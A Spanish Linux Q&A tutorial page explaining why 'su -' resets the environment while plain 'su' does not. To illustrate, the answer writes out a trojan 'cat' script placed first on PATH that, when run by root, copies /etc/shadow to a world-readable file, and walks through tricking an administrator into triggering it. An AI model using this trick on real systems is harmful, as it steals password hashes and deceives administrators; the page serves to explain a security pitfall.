GNU/Linux >> Tutoriales Linux >  >> Linux

Linux:¿por qué usamos Su y no solo Su?

No entiendo por qué su - se prefiere a su para iniciar sesión como root.

Respuesta aceptada:

su - invoca un shell de inicio de sesión después de cambiar de usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.

su simplemente cambia de usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.

Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso de root. Vamos a (con suerte) engañarlo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Ahora, pregúntele a su administrador por qué no puede cat el archivo ficticio en su carpeta de inicio, ¡simplemente no funcionará!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si su administrador no es tan inteligente o simplemente un poco perezoso, podría venir a su escritorio y probar con sus poderes de superusuario:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

¡Guau! ¡Gracias, superadministrador!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Él, él.

Tal vez hayas notado que el $PATH corrupto la variable no se restableció. Esto no habría sucedido si el administrador invocara su - en su lugar.


Linux
  1. Por qué uso Linux para administrar mi estudio de yoga

  2. Cómo instalar y usar Flatpak en Linux

  3. ¿Por qué es Rm -rf y no Rmdir -rf?

  4. VirtualBox en Linux:¿Qué imagen de Windows usar y dónde conseguirla?

  5. ¿Por qué usamos su - y no solo su?

Instalar y usar Linuxbrew en el sistema operativo Linux

Cómo instalar y usar phpMyAdmin en Linux

Cómo instalar y usar el comando fd en Linux

Cómo instalar y usar Nu Shell en Linux

Linux vs Mac OS:15 razones por las que usar Linux en lugar de Mac OS

Cómo y por qué usar Linux para instalar Telnet